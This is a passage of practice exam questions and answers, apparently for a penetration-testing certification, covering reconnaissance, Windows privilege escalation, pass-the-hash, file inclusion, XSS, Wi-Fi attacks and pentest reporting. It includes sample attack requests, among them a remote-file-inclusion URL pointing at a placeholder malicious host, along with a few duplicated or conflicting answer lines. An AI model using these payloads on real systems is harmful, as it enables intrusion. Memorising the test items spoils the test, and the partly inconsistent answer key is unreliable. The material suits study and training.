C.Look for kernel vulnerabilities
D.Look for writable scheduled tasks
D.Look for writable scheduled tasks
Explanation:
In some cases, it may be possible to abuse writable services that run as SYSTEM or elevated privileges.
Alex is using an SSH connection a host that she has successfully compromised in the targeted environment.
From within this host, she opens a Firefox browser and accesses an internal website on which she has found an information disclosure vulnerability.
How is Alex able to browse the internal site over SSH?
A.Using a GUI version of SSH for Windows
B.Using X-server forwarding
C.Every SSH service from version 2.0 onward supports graphical interface
D.SSH on Ubuntu Linux supports graphics
B.Using X-server forwarding
Explanation:
X-server forwarding is an SSH configuration element that allows X-server content to be pushed through the SSH connection; for example, browser, calculator and other graphical applications.
X-Server forwarding needs to be enabled in the configuration in order to be used.
Another method of exploiting the internal site through SSH would be to use the SSH connection as a SOCKS proxy, but this would require more in-depth SSH knowledge
James is looking at possible software to use to jailbreak an iPhone for a pentest.
His finsihed task should produce a jailbroken iPhone that can be powered off and on without a computer.
What type of jailbreak is he searching for? A.Tethered B.Semi-untethered C.Untethered D.Semi-tethered
C.Untethered
Explanation:
With an untethered jailbreak, the device could be powered on and off without the use of a computer
With a tethered jailbreak, a computer and software would be required to boot the jailbroken device each time.
Semi-tethered would mean that if the device was rebooted, a computer would be needed to patch the kernel again and jailbreak the device each time.
A semi-untethered jailbreak would be the same as a semi-tethered, except that it could be accomplished using the jailbreak app that is already on the device and would not require a computer
An attacker scans the domain for accounts with SPNs (service principal names) set.
On a compromised machine, the attacker then requests the services to authenticate.
Through specific techniques, password hashes are extracted from the resulting tickets in memory.
Those passwords are later cracked offline.
Which attack technique is being used in this scenario? A.DLL Hijacking B.Kerberoasting C.Brute force D.Kernel exploit
B.Kerberoasting
Explanation:
Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) tickets for any SPN from a domain controller (DC)
What can John use to passively search by domain name or IP for exposed systems belonging to an organization? A.Nmap B.WHOIS C.DuckDuckGo D.Shodan
D.Shodan
Explanation:
Shodan is a security search engine for misconfigured or exposed systems
Nmap is a tool for active scanning
WHOIS cannot provide exposed device information
DuckDuckGo is simply a normal search engine, like Google
In order to install applications on an iPhone that are not “approved” by Apple, what condition needs to be met?
A.The phone needs to be jailbroken
B.Apple needs to unlock the phone
C.The app needs to have an Apple certificate
D.The app needs to be uploaded on the App Store
A.The phone needs to be jailbroken
Explanation:
Once elevated privileges are obtained through jailbreaking (exploiting a vulnerability that essentially provides root access), unsigned applications can be installed on the device as if they were approved by Apple
ON what principle does the mobile application testing framework Drozer work?
A.As audit software running on the mobile device locally and producing a report once it completes its run
B.As scanning software running on a remote host and scanning mobile devices over the Internet
C.As debugging software for offline static application analysis
D.As an agent (server) running on the mobile device and a client with command line interface running on a PC.
D.As an agent (server) running on the mobile device and a client with command line interface running on a PC.
Explanation:
As an agent (server) running on the mobile device and a client with command line interface running on a PC
Drozer consist of an agent, also known as a server, running on the mobile device and a client with command line interface.
Drozer is modular and can be used to text existing exploits
If Natahn wants to gather email addresses, what is the best strategy to follow? A.Run John the Ripper B.Run an Nmap scan with a special script C.Check WHOIS service D.Use social engineering
D.Use social engineering
Explanation:
Social engineering is the most reliable way to gather data such as email addresses.
WHOIS cannot provide personal email addresses
John The RIpper is a password cracking tool
Nmap has no option for scanning for emails
Robert is compiling a penetration test report; has prepared a high-level overview of the results.
Which section of the report is suitable for such information? A.Executive summary B.Appendix C.Compliance reporting D.Technical reporting
A.Executive summary
Explanation:
The executive summary is usually in the beginning of the report and summarizes the big picture, methodology used, and a high or critical level findings.
Which tool can be used for browser exploitation? A.Burp Suite B.BeEF C.EMpire D.Metasploit
B.BeEF
Explanation:
BeEF (browser Exploitation Framework) is a built-on tool in Kali Linux that allows browser manipulation if the victim is hooked
Why would an attcker be happy if T telnet traffic was captured during sniffing?
A.Telnet supports pass the hash and could be exploited
B.Telnet is a vulnerable application and any host with a Telnet server is vulnerable
C.Telnet does not enforce encryption and communicate is plaintext
D.Telnet uses weak cryptography and could easily be decrypted
C.Telnet does not enforce encryption and communicate is plaintext
Explanation:
Telnet is a communication application, similar to SSH, but as it is quite old and hasnt been updated for a long time, it is lacking in cryptographic security and all the communication passing through it is in plaintext
Which technique is associated with NAC (network access control) bypassing?
A.Setting up the hostname of the attacking machine to match the victims hostname
B.Using Karmateasploit to clone the network
C.Using the “pass the hash” technique
D.Cloning the MAC address of a device that was previously connected to the same network port
D.Cloning the MAC address of a device that was previously connected to the same network port
Explanation:
NAC systems are used to authenticate new devices to the corporate network.
Some NAC systems, however, can be tricked by simple actions like cloning the MAC address of an already authenticated host, or setting up a static IP matching the authenticated host
During reconnaissance you decided to use the following plugin/module to collect emails from a host:
“auxiliary/gather/search_email_collector”
Which tool are you using? A.Nmap B.ZAP C.Metasploit D.Burp
C.Metasploit
Explanation:
Metasploit is a powerful framework and consist of multiple modules.
Auxiliary modules are usually scanners or other reconnaissance tools.
This module uses Google, Bing and Yahoo to create a list of valid email addresses for the target domain and is useful in automated information gathering during a penetration test
You are hiring an external pentesting company to conduct a pentest.
You are concerned that in case of successful exploitation, they will gain access to internal information that should be considered confidential.
What can you do to make sure that the pentest company does not disclose this information?
A.Ask the pentesting company to not share information if obtained
B.Ask the pentesting company to sign an NDA
C.Hide this information from your servers
D.ENcrypt the data, so that even if hacked, it will not be readable
B.Ask the pentesting company to sign an NDA
Explanation:
A non-disclosure agreement (NDA) is an agreement that legally obliges the parties involved to not disclose any information obtained during the pentest
Alex would like to include her notes in the pentest report.
The notes are long text files that would unnecessarily increase the size of the report.
What would be the best way to include them?
A.The notes are not necessary; do not add them
B.Regardless of the length, add them at the end of the report
C.Share the notes separately
D.Add them as an object in a Word version of the report
D.Add them as an object in a Word version of the report
Explanation:
The conclusion of a pentest report may include an appendix, which references artifacts that are associated with the pentest activities, including scan data, notes, etc.
These artifacts can be inserted as objects in a pentest report formatted in Mircrosoft Windows
Which of the following statements is true regarding the difference between a dictionary attack and a brute force attack?
A.A dictionary attack is only possible against wireless networks, while a brute-force attack applies to all passwords
B.A dictionary attack utilizes a dictionary of words as a possible password, while a brute-force attacks test all possible combinations defined in the setup
C.A dictionary attack only targets Window servers, while brute force attacks only targets websites
D.There is no difference between a dictionary attack and a brute-force attack
B.A dictionary attack utilizes a dictionary of words as a possible password, while a brute-force attacks test all possible combinations defined in the setup
Explanation:
A dictionary attack utilizes a dictionary of words as a possible password, while a brute-force attack tests all possible combinations defined in the setup
On an open relay SMTP server, how would the VRFY command be used to aid an attack?
A.The VRFY command could be used for user enumeration
B.The VRFY command could be used in password-guessing attacks
C.The VRFY command could be exploited for privilege escalation
D.The VRFY command could be used to sign emails with company certificates
A.The VRFY command could be used for user enumeration
Explanation:
After you connect with Netcat or Telnet, issue the VRFY or EXPN command using an internal email address is an attempt to enumerate local or domain users in the environmet.
For example, VRFY root.
If the VRFY command is enabled on the relay server and the account doesnt exist, you will receive an error message
You are preparing the recommendations section of the pentest report.
You need to address the weak cryptographic security of the LM hash-stored password.
What is this recommendation focused on? A.Process B.Technology C.Management D.People
B.Technology
Explanation:
In this situation, simple technology improvement could resolve the vulnerability and completely remove the risk
..
Migration to more secure password hashing functions would be mandatory
Penetration testing includes a lot of technical work and generates a lot of log data.
Scan results are sometimes several pages long.
Alex wants to include all this information in the report but is afriad that if she puts it in the technical section, the report will be much too long, which is not ideal.
Which will resolve this issue?
A.Do not include these results
B.Archive these results and provide them separately
C.Regardless of formatting and report size, all these results should be part of the technical section
D.Reference the results in an appendix in the conclusion section
D.Reference the results in an appendix in the conclusion section
Explanation:
It is a good practice to keep the report clean and tidy with only relevant information in it.
However, it is also good to practice to provide all secondary information related to the test in an appendix for detailed technical review
What tool can be used to manage administrative credentials for organizations and store passwords in Active Directory, where they may be directly tied to computer accounts?
A.Microsoft’s Local Administrator Password Solution
B.Microsoft’s Password Vault Solution
C.Microsoft’s Admin Password Register
D.Microsoft’s Administrator Password Directory
D.Microsoft’s Administrator Password Directory
A.Microsoft’s Local Administrator Password Solution
Explanation:
Microsoft’s Local Administrator Password Solution (LAPS) is a tool that manages administrative credentials for organizations.
It stores and manages passwords in Active Directory, where they may be directly tied to computer accounts
Which of the following does not belong in the pentest scoping documentation? A.User emails and usernames B.Stakeholders C.Domains D.IP Addresses
B.Stakeholders
Explanation:
Stakeholders are among the targeted audience when preparing a pentest report
The stakeholders are information consumers, not just escalation points.
Each group will have a different understanding and expectation of the process.
Since the stakeholders group is not made up of technically oriented individuals, they should not be taking part in the scoping process
Which command is used for a stealth scan? A.Nmap -sS B.Nmap -P C.Nmap --stealth D.Nmap --scan --quiet
A.Nmap -sS
Explanation:
The Nmap -sS command will initiate a “syn scan” which is also called a stealth scan due to the nature of the packets being sent
John works in the IT department of a big company.
John has access to the file server used by the HR department and has installed a backdoor in order to access the server remotely from his home.
He has been downloading sensitive documents from this server to his personal machine for weeks,
What kind of a threat actor is John?
A.John is a script kiddie
B.John acts as an APT attacker
C.John is an insider threat
D.John is a hacktivist
C.John is an insider threat
Explanation:
Being part of the organization and possessing internal knowledge, John is in the position of an insider or also known as insider threat.
Insider threats are very common and are considered high risk.
Nathan wants to create a topology for scanned networks.
Is there a way he can generate one automatically?
A.Yes using Zenmap
B.No, a topology cannot be made automatically
C.Yes, using OWASP ZAP
D.Yes, using theHarvester
A.Yes using Zenmap
Explanation:
Zenmap (NMAP GUI) build an automatic topology upon scanning targets
OWASP ZAP is a web application scanner proxy software
theHarvester is an OSINT tool for collecting emails and other information
George is in the middle of a pentest.
His tactic is to show up at the clients office and pretend to be the new security officer.
Using the leverage of the SO position, he will try to gather information about security policies and practices in the company.
What type of attack is George attempting? A.Elicitation B.Spear Phishing C.Impersonation D.Dumpster Diving
C.Impersonation
Explanation:
Impersonation (regardless of whether the individual is an officer of the law) can be a criminal offense and is governed by state law.
The criminality of impersonation varies and may taker the form of assuming false identity with the intent to defraud another, pretending to be another person or organization, or opening bank and credit accounts under someone else name, otherwise known as identity theft
When analyzing traffic captured between you and a targeted host, which tool would you most likely use for the packet inspection? A.Hping B.dnssniff C.Metasploit D.Wireshark
D.Wireshark
Explanation:
Wireshark is a very powerful tool for analyzing and inspecting network traffic and packet captures.
It has extensive GUI interfaces rich with features
John is in the information-gathering stage of his pentest.
He hears two of the developers talking about a recently changed password for the databases,
What method is he using at the moment? A.Eavesdropping B.Enumerating C.Spear Phishing D.Social Engineering
A.Eavesdropping
Explanation:
Eavesdropping is a passive form of information gathering, because John simply hears them talking about it and doesnt have to do anything else to get this information
During a MiTM attack, Dennis collected some NTLM hashes.
Which of the following could those hashes be useful for?
A.Password hashes for wifi networks,
B.Nothing, as NTLM hashes are useless
C.In an authentication session agaisnt the Web Database
D.A tool like Metasploit, Medusa, or Hydra in a pass the hash attack
D.A tool like Metasploit, Medusa, or Hydra in a pass the hash attack
Explanation:
In a Windows network, NT LAN MAnager (NTLM) is a suite of Microsooft security protocols.
It was the feault for network authentication in the Windows NT 4.0 OS that provides authentication, integrity and confidentiality to users.
The NTLMv2 is the latest version and uses the NT MD4 based one-way function.
The hash lengths are 128 bits and work for a local account and Domain account
The NTLM protocol uses one or both of two hashed password values, both of which are also stored on the server (or domain controller) and which through a lack of salting are password equivalent, meaning that if you grab the hash value from the server, you can authenticate without knowing the actual password
Pass The Hash is a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a users password, instead of requiring the associated plaintext password as is normally the case.
The group of stakeholders usually involved in the pentest discussions include executive management, security personnel, it IT department pentesters and:
A.A company sales representative
B.The legal department
C.A Microsoft representative
D.A local law enforcement representative
B.The legal department
Explanation:
Legal representatives may be necessary to ensure that legal and contractual commitments are upheld by all parties involved in the engagement.
The group of stakeholders usually involved in the pentester discussions includes executive management, security personnel, it IT department, pentesters, and the legal department
What tool could you use to gain access to the SAM database on a Windows host? A.WinDbg B.NC C.Mimikatz D.Recon-ng
C.Mimikatz
Explanation:
Mimikatz is a post-exploitation tool used for obtaining plain text user accounts and passwords
James believe that there are folders accessible by the web server he is currently testing that would be considered interesting and might hold valuable information.
Which tool could help him automate the process of looking for "sensitive" folders on a web server? A.DirDetector B.DirBuster C.FolderFinder D.Directory Traverser
B.DirBuster
Explanation:
A popular tool for this purpose is DirBuster which is a Java-based framework.
DirBuster is included in Kali Linux, which also provides a common wordlist found in /usr/share/dirbuster/wordlists
When Geroge gains access to a vulnerable Linux host, he finds that the machine has already been comrpomised.
One of the clues is a cron job obviously used for persistence.
What should George do in this situation?
A.Remove the cron job and proceed with testing
B.Only mention in the final report
C.Start the process of deconfliction
D.Ignore the cron job and proceed with testing
C.Start the process of deconfliction
Explanation:
Communication with the customer provides the ability for deconflicition, which is the process of sorting out your pentest artifacts from the artifacts of a real compromise, for example
Social networking sites are a good source of:
A.Potential Insiders
B.Account Information
C.Exploit information
D.Network targets
B.Account Information
Explanation:
Social media enumeration focuses on identifying all of an individuals or organizations social media accounts.
This would include LinkedIn, Facebook, Twitter and so on.
The information shared on those platforms could potentially aid the attacker in a social engineering attack in the future.
Which of the following is not essential, but would improve the speed and accuracy of a pentest? A.Nessus license B.More than one Nessus instance C.Sample application requests D.Testing environment
C.Sample application requests
Explanation:
Having a list of sample APLI calls would help you no to miss any possible parameter you could test and also would help identify the boundaries of a proper request, which could later be exploited .
What tool would you use if you want to extract metadata from a image file? A.Nmap B.ExifTool C.ZAP D.cat
B.ExifTool
Explanation:
ExifTool is a free and open-source software program for reading, writing and manipulating image, audio, video and PDF metadata.
This data might provide additional useful information, for example location
Why would Geroge choose Evil Twink for the Wi-Fi attack he attempts, if his goal is to gather credentials from the victims?
A.Evil Twin can be used against multiple victims and APs simultaneously
B.Evil Twin does not require a root
C.Evil Twink has better performance
D.Evil Twin can be used for a downgrade attack
D.Evil Twin can be used for a downgrade attack
Explanation:
Evil Twin can also be used for a downgrade attack, which tricks clients into using a less secure protocol or encryption scheme.
Once George has successfully conducted a MiTM attack,m he can also work on credential harvesting by capturing unencrypted traffic between the client and remote systems and services
A ping sweep is a basic network scanning technique used to determine which of a range of IP addresses map to live hosts.
Which of the following tools could you use for a ping sweep? A.Nmap B.nc C.Telnet D.Tracert
A.Nmap
Explanation:
A ping sweep (also known as an ICMP sweep) is a basic network scanning technique used to determine which of a range of IP addresses map to live hosts.
Whereas a single ping will tell you whether one specified host computer exists on the network, a ping sweep consist of ICMP ECHO requests sent to multiple hosts.
If a given address is live, it will return an ICMP ECHO reply.
Ping sweeps are among the older and slower methods used to scan a network
There are a number of tools that can be sued to do a ping sweep, such as fping, gping and nmap for UNIX systems, and the Pinger software from Rhino9 and Ping Sweep from SolarWinds for Windows systems.
Both Pinger and Ping Sweep send multiple packets at the same time and allow the user to resolve host names and save output to a file
You can use Nmap for quick ping sweep of a local network.
For example: Nmap -vv -n -sn 192.168.0.0/24 -oA pingscan.out
Phishing can potentially cause a lot of damage.
Sometimes mail spam filters and other security measures are a step behind the new phishing trends.
What is another very effective way to prevent ow lower the success rate of phishing attacks?
A.Hiding email addresses from public records
B.Phishing filters on IDS and IPS
C.Disabling mail service
D.Employee security awareness training
D.Employee security awareness training
Explanation:
Regular security awareness training could help the employees properly identify phishing emails
A social engineering test can provide information about employee behavior, policy compliance and enforcement, and security awareness in addition to the information and access that it may provide through an organizations security boundaries.
If employees are well trained to recognize malicious emails, this information could be protected
What type of an attack is being attempted with the following request?
‘https://example.com/app.php?file=C:\temp\attack.exe’
.Directory traversal
B.Remote File Inclusion (RFI)
C.Local File Inclusion (LFI)
D.SQL Injection
C.Local File Inclusion (LFI)
Explanation:
An attacker can use Local File Inclusion (LFI) to trick the web application into exposing or running files on the web server.
An LFI attack may lead to information disclosure, remote code execution, or even Cross-site Scripting (XSS)
Typically, LFI occurs when an application uses the path to a file as input.
If the application treats this input as trusted, a local file may be used in the include statement.
Local File Inclusion is very similar to Remote File Inclusion (RFI).
However an attacker using LFI may only include local files (not remote files like in the case of RFI)
Remote File Inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts.
The perpetrators goal is to exploit the referencing function in an application to upload malware from a remote URL located within a different domain.
The consequences of a successful RFI attack incluide information theft, compromised servers and a site take over that allows for content modification
In what type of exploitation method is the hacker competing against other DNS servers in responding to a DNS query? A.Phishing attack B.Denial of Service Attack C.DNS Cache Poisoning Attack D.ARP Spoofing Attack
C.DNS Cache Poisoning Attack
Explanation:
In a DNS cache poisoning attack, the victim sends a DNS query to the respective DNS server.
If the server does not know the answer, the query is then forwarded to its parent DNS server.
If the hacker manages to respond to the query before the genuine, authoritative answer arrives, he can provide his own host information and potentially poison the DNS cache of the server with a malicious response
With a given scope of IP addresses, how can John identify live hosts?
A.By using port scanners
B.By exploiting directory traversal vulnerability
C.By implementing a honeypot
D.By using Burp Suite
A.By using port scanners
Explanation:
Port scanners are tools that generate traffic and can enumerate hosts, ports and services
Burp Suite cannot perform host scanning
Directory traversal has nothing to do with identifying live hosts
A honeypot is used as a method of defense against hackers
While pentesting for a client, George notices that one of the vulnerability scanning tools could be fine-tuned to produce more comprehensive results.
As what stage of the pentest should George share his ideas?
A.Post-engagement cleanup
B.Follow-up actions and retesting
C.Before the next pentest
D.Lessons learned
D.Lessons learned
Explanation:
The lessons learned section is an internal session between the pentesting team members that is held after the successful completion of a pentest.
In this session the team usually discusses the future methods and ways to improve the testing service they provide
How do you maintain situation awareness during a penetration test?
A.Constantly scan targets for changes
B.Monitor the environment for drastic changes
C.Hold regular meetings with the client
D.Occasionally send queries to the client representatives
C.Hold regular meetings with the client
Explanation:
The reason for holding regular meetings with the client is to maintain situation awareness and be able to respond to any necessary changes in the client environment
Should observations like those below be part of the pentest report?
“During code analysis it become evident that the developers are following best security standards in regard to character sanitization.”
Vulnerability scanners did not reveal any obsolete or out-of-date software or services in the environment, thus suggesting regular security patching.
This suggests that the delivery teams are following best security practices.”
A.Yes because they could reassure management
B.No, observations like these are only shared internally with the pentest team
C.No, they should not be part of the official report
D.No, because they are only the pentesters personal notes
A.Yes because they could reassure management
Explanation:
Providing some general observations you made during the pentest can help senior management know some things concerning the culture of the organization that they may not already know
During the enumeration phase, Alex is attempting to build a topology map of the network environment.
What tool would produce fairly accurate results? A.Zenmap B.Burp Suite C.Recon-ng D.ZAP
A.Zenmap
Explanation:
Zenmap GUI is a graphical Nmap tool with some neat features under the hood, one of which is creating topology map of the network it scans.
This can be very useful when planning attacks
You have successfully gained access to a Windows machine, and during your attack you made some changes on the disk.
Files were modified.
What technique could you use to evade possible detection based on the file manipulation? A.Shell B.Idletime C.Karmetasploit D.Timestomp
D.Timestomp
Explanation:
Timestoping is used to modify the timestamps of files on the disk.
Idletime will display the number of seconds that the user at the remote machine has been idle
Shell will drop your session to OS shell
Karmetasploit allows you to fake access points, capture passwords, harvest data and conduct browser attacks against clients
Jack is conducting a pentest and has identified a critical vulnerability on one of the clients server.
The server admin is interested in any results about “his” server.
How should Jack communicate this finding?
A.Jack should communicate directly with the contact person appointed in the contract
B.Jack should not communicate the issue to anyone until the final report is ready
C.Jack can share the finding with the admin unless it is explicitly forbidden in the contract
D.Jack should share his findings with the admin and help him mitigate the issue
A.Jack should communicate directly with the contact person appointed in the contract
Explanation:
A clear communication path should be predefined and strictly followed by the penetration tester.
Upon discovering a critical vulnerability, it is a good practice to report it in a timely manner.
The information should not be shared with the admin unless this is explicitly allowed in the contract
On a Linux machine, which command would show the current version of the OS and kernel information? A.who B.lsb_release -a C.whoami D.sysinfo
B.lsb_release -a
Explanation:
“lsb_release” command with -a parameter would likely show the current release and kernel version.
Another helpful command that would show detailed kernel information is “uname -a”
James has found the public IP of the clients AP router.
The device has a managing web interface and James is able to log in using the following credentials:
Admin:Admin
What sort of exploitation technique has James used? A.Credential harvesting B.Default credentials C.Brute-force D.Session hijacking
B.Default credentials
Explanation:
Some systems run web-based applications and are configured with default credentials, which make them easy targets for attacks.
A pentesters approach to accessing these devices over the network should be similar to the approach taken against a corporate IT system
George has provided the pentest report for a web application he has tested.
His scope was limited to the front end of the application.
Upon completion of the engagement, the client requests that George do a free retest and include in it the back end of the application as well as the actual hosting server.
What should George do?
A.A free retest is a common request, but it should be considered a new engagement and charged for
B.A free retest is considered the gold standard and should be conducted unless specifically excluded in the SOW
C.Retest is common for a pentest engagement and is usually free of charge and done in a shorter time span
D.There is no business justification for a free retest so he should decline the request
A.A free retest is a common request, but it should be considered a new engagement and charged for
Explanation:
Retest is a common request with pentests.
However, if the scope of the restest is larger or different than the scope of the test, it should be considered a new engagement and should be charged for
The nature of follow-up actions varies, and testers should make a judgement call about the level of formality involved.
If the client is request a quick retest that falls within the original scope of work and rules of engagement, the testers may choose to simply conduct the retest at no charge.
If, however, the client is requesting significant work or changes to the scope or rules of engagement, the testers may ask the client to go through a new planning process
You are performing a pentest, but you need to hide the origin of your connection, as you are carrying out a red team engagement.
What tool can you use to hide your original IP? A.Proxychains B.There is no way to hide your IP C.Incognito browser D.Virtual machine on your host
A.Proxychains
Explanation:
As you send traffic to and from systems during a pentest, you will likely want to hide the content of the traffic you are sending,.
You can use proxychains to tunnel any traffic through a proxy server, with full support for HTTP, SOCKS$ and SOCKS5 proxy servers and with the ability to chain multiple proxies together to further conceal your actions
What is James attempting to do when he uses a spider tool against a website?
A.Perform SSL downgrading
B.Generate a word list for future password cracking
C.Scan for vulnerabilities
D.Perform an XSS attack
B.Generate a word list for future password cracking
Explanation:
Spiders are used to browse a given URL and return a word list that can be sued with either password crackers (like John the Ripper) or brute force login tools (like Hydra)
James has gained access to the clients internal network.
His reconnaissance discovered an internal employee web portal used for administrative tasks, such as vacation request, HR tickets and so on.
This portal requires login and uses the domain login of the employee.
Jame’s plan is to mimic the login page and lure the employees to his malicious site, where their credentials will be recorded.
What technique would James use? A.Elicitation B.SSL Stripping C.Pass the Hash D.DNS Cache Poisoning
D.DNS Cache Poisoning
Explanation:
The DNS resolver cache is overwritten on the DNS server with a malicious web address and the user will be directed to the malicious site instead of the intended one
Which document is part of the pentest documentation and describes the prices of the pentest? A.NDA B.SOW C.RoE D.Scope
B.SOW
Explanation:
The SOW is a document that defines what deliverables will be created, the timeline for the work to be completed, the price of the work and any additional terms and conditions
Which of the following methods is a dictionary attack?
A.Using Burp Suites Intruder to brute-force a login page of a website
B.Putting a passwords hash through Hashcat
C.Using Nmap’s port scan on a domain
D.Using Netcat to connect to a victims machine
A.Using Burp Suites Intruder to brute-force a login page of a website
Explanation:
In a dictionary attack, the attacker uses a dictionary (list) of common words and phrases that are often used as passwords.
Then a tool, such as Burp Suite Intruder, iterates through the list and attempts to authenticate against the login mechanism
During information-gathering, John wants to enumerate the operating systems of the live hosts.
What is this process called?
A.The operating system cannot be identified
B.Operating system scanning
C.Operating system listing
D.Operating system fingerprinting
D.Operating system fingerprinting
Explanation:
OS scanning is the wrong term, because the OS cannot be scanned; the way a PC behaves determines which OS it is using.
While probing different servcies and ports, the scanner is matching the response against a predefined table of responses.
Based on the results, the OS is determined
OS listing is a term used when working with asset management tools
Jame’s client is legally obligated to prevent their R&D data from leaving the country.
What sort of restriction is this?
A.Corporate policy restriction
B.Compliance-based restriction
C.Governmental restriction
D.Network restriction
C.Governmental restriction
Explanation:
Export restrictions are governmental rules prohibiting the export of certain goods and services to other countries.
US export laws prohibit the export of certain encryption technology
Which of the following is a software testing technique that inputs invalid or random data into the software system to discover coding errors and security loopholes? A.Code Review B.Brute-forcing C.Pass the hash D.Fuzzing
D.Fuzzing
Explanation: Fuzz testing (fuzzing) is a software testing technique that inputs invalid or random data called fuzz into the software system to discover coding errors and security loopholes. Data is inputted using automated or semi-automated testing techniques after which the system is monitored for various exceptions, such as crashing down of the system or failing built-in code, etc. The goal of fuzzing is to detect validation logic, memory leaks, or error handling.
A brute-force attack consists of an attacker submitting many passwords or passphrases with the hope of eventually guessing correctly. The attacker systematically checks all possible passwords and passphrases until the correct one is found.
Pass the hash is a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a user’s password, instead of requiring the associated plaintext password as is normally the case.
Code review is a software quality assurance activity in which one or several people check a program mainly by viewing and reading parts of its source code, and they do so after implementation or as an interruption of implementation. At least one of the persons must not be the code’s author.
What could Alex add to the remediation section of her pentest report to make it more professional and informative?
A.Screenshots of the remediation actions
B.CVSS score for remediation actions
C.References to online articles and databases
D.Risk rating changes based on remediation actions
C.References to online articles and databases
Explanation:
References to online articles or CWE or CVE databases and other online sources of vulnerability information, would help the client understand the impact as well as the method of remediating it
Of the following, which is a way to fingeprint a web server? A.Use dig against the domain B.Read the HTTP response header C.Ping the server D.Use nslookup against the domain
B.Read the HTTP response header
Explanation:
A simple netcat (nc) request over port 80 or 443 will return an HTTP response header.
This header usually contains the web server version
When gathering information about a specific domain, which two tools would a penetration tester use? A.theharvester, nslookup B.nslookup, msfconole C.theharvester, msfconsole D.nslookup[, CeWL
A.theharvester, nslookup
Explanation:
theHarvester and nslookup are two easy to use and very helpful tools used to interrogate DNS servers.
theHarvester is a tool for gathering email accounts, subdomain names, virtual hosts, open ports/ banners, and employee names from different public sources (search engines, pgp key servers).
nslookup is a network administration command-line tool available in many computer operating systems for querying the Domain Name System to obtain domain name or IP address mapping, or other DNS records. The name “nslookup” means “name server lookup”.
The msfconsole is probably the most popular interface to the Metasploit Framework (MSF). It provides an “all-in-one” centralized console and allows you efficient access to virtually all of the options available in the MSF.
CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers.
Which option best matches the following description?
An exploit or a script created in order to successfully exploit a service or a software
Usually this exploit or script is created by a security researched during product testing phase.
In most cases, such as exploits or scripts are available online and can be used in pentests
A.Pentest SOW
B.Proof of concept (POC)
C. Assessment technique
D.DoS (Denial of Service)
B.Proof of concept (POC)
Explanation:
POC, or proof of concept is usually a script or a piece of code that is created solely for exploiting a targeted service or software.
Such POCs can be found in exploitdb, for example
What is the difference between DOM_based XSS and stored or reflected XSS?
A.Stored and reflected XSS are associated with HTML; DOM-based XSS is associated with PHP
B.DOM-based XSS is exploitable only on Apache servers
C.DOM-based XSS uses jQuery; stored and reflected XSS use JavaScript
D.DOM-based XSS is executed directly in the browser; reflected or stored XSS is passed back to the server
D.DOM-based XSS is executed directly in the browser; reflected or stored XSS is passed back to the server
Explanation:
The document object model (DOM) is passed down to the browser from the application during runtime and is used for structuring content.
Unlike with stored or reflected XSS attacks that get passed back to the server, the execution happens directly in the users browser, since not every object is treated as a query by the browser.
This can make the detection process even more difficult if the logging only occurs on the client side
While penetration testibg a website, Alex is writing the following at the end of the comment he wrote:
‘alert(‘hacked’)’
What kind of vulnerability is Alex testing for?
A.Stored cross-site scripting (Stored XSS)
B.Reflected cross-site scripting (Reflected XXS)
C.SQL Injection
D.Code injection
A.Stored cross-site scripting (Stored XSS)
Explanation:
Cross-site scripting attacks can be broken down into two types: stored and reflected.
Stored XSS, also known as persistent XSS, is the more damaging of the two.
It occurs when a malicious script is injected directly into a vulnerable web application.
To successfully execute a stored XSS attack, an attacker has to locate a vulnerability in a web application and then inject malicious script into its server. One of the most frequent targets are websites that allow users to share content, including blogs, social networks, video sharing platforms and message boards. Every time the infected page is viewed, the malicious script is transmitted to the victims browser
In the example. Alex would also store the script “alert(hacked)”
If vulnerable, the script would be executed every time the page is loaded.
This applies to all user that would open the page.
Reflected XSS involves the reflecting of a malicious script off of a web application onto a users browser.
The script is embedded into a link, and is only activated once that link is clicked on
Code Injection is the exploitation of a computer bug that is caused by processing invalid data. Injection is used by an attacker to introduce (or “inject”) code into a vulnerable computer program and change the course of execution
SQL Injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database
You are preparing your pentest Kali Linux machine.
The scope of the pentest also includes wireless networks, so you consider buying an external WiFi antenna.
Which of the following chipsets are popular and known to be compatible with Kali Linux? A.Intel Wireless Solution B.Broadcom C.Asus WiFi D.Atheros AR921
D.Atheros AR921
Explanation:
It has been verified many tiumes that Kali Linux works best with chipsets of Aetheros and Ralink.
There are native drivers in Kali that support this hardware are proven to work flawlessly
Which tool might you consider using as an alternative to Patator? A.WinDbg B.Nmap C.Medusa D.Recon-ng
C.Medusa
Explanation:
Patator is a less user-friendly tool used for brute-forcing.
It provides functionality similar to that of Hydra and Medusa, but with a different approach
To successfully achieve sandbox escapre from a VM and compromise the Host OS, which condition needs to be met?
A.Hypervisor needs to be running on Windows
B.A working exploit, and the hypervisor should not be patched
C.Linux must be the underlying OS
D.Root privileges on the VM machine
B.A working exploit, and the hypervisor should not be patched
Explanation:
Exploit tools that allows attacker to escape a virtual machine to directly attack the hypervisor have been sought for years, with high prices paid for working exploits on the open market.
Exploits have been found for VMware, Xen Project, Hyper-V and VirtualBox, but each has been patched shortly after it was found.
In most virtualization environments, VM escape isnt likely to work unless a new exploit is introduced and you are able to use it to exploit a compromised host before it is patched by your target organization
With the following HTTp request, George is able to execute a file on the target host.
‘http://target.com/page.php?article=C:\www\temp\test.exe’
What type of attack technique is he using? A. Directory traversal B.SQL Injection C.Remote File Inclusion D.Local File Inclusion
D.Local File Inclusion
Explanation:
There are two kinds of file inclusion: Local (LFI) and Remote (RFI)
Local File Inclusion includes files outside of the web root and renders the contents of local operating system files, such as the password file, to the browser window
What information will the following command provide?
‘wmic service get name,displayname,pathname’
A.It will list all scheduled tasks
B.It will start WMIC service with a specific name and path
C.It will run a service named displayname in a specific path
D.It will list all services with their name, display name and executable location
D.It will list all services with their name, display name and executable location
Explanation:
Lower-privilege users will not be able to modify the service; however, they can still search services.
The WMIC command can be used to look for services with unquoted executable paths
What type of attack is James attempting with the following request?
‘http://target.com/page.php?access=http://malicious.com/malicious.php’
A.Fuzzing
B.SQL Injection
C.Remote File Inclusion
D.Local File Inclusion
C.Remote File Inclusion
Explanation:
Remote file inclusions allow files or even whole pages to be displayed inside a vulnerable web page.
